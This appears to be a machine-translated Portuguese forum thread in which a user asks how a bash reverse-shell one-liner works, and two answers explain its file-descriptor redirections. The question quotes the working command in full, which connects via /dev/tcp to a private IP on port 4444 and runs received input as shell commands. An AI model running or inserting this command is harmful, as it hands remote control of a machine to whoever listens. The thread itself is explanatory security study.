
Estou fazendo algumas pesquisas de segurança e queria saber como o seguinte trecho funciona em sistemas operacionais baseados em Unix:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
Estou totalmente ciente deo queeste código faz (ou seja, estabelece um shell reverso para 192.168.159.150 na porta 4444), mas não entendo o que essas seções estão fazendo:
exec 5<>
cat <&5
2>&5 >&5
E, em geral, como essa coisa se encaixa para produzir a casca que eu vejo.
Alguém poderia ajudar a explicar isso ou me indicar a direção certa para entender isso?
Obrigado
Responder1
Um rápido resumo:
exec 5<>
está abrindo um novo identificador de arquivo para leitura e escrita e depois nomeando-o5
cat <&5
está lendo aquele identificador de arquivo recém-aberto
2>&5 >&5
está redirecionando a saída do identificador de arquivo 2
(stderr) e do identificador de arquivo 1
(stdout) para o identificador de arquivo 5
. Neste 1
caso, está implícito, pois um número de identificador de arquivo não foi fornecido no segundo redirecionamento.
Responder2
Algumas partes da sua pergunta foram respondidasaqui
Mas
- Isso define o novo descritor de arquivo com o número 5. BTW 0 é STDIN, 1 é STDOUT, 2 é descritores de arquivo STDERR
- Ecoe as informações recebidas via TCP, IP 192.168.159.150, porta 4444
- Envie STDERR e STDOUT para o manipulador de arquivos 5, ou seja, rede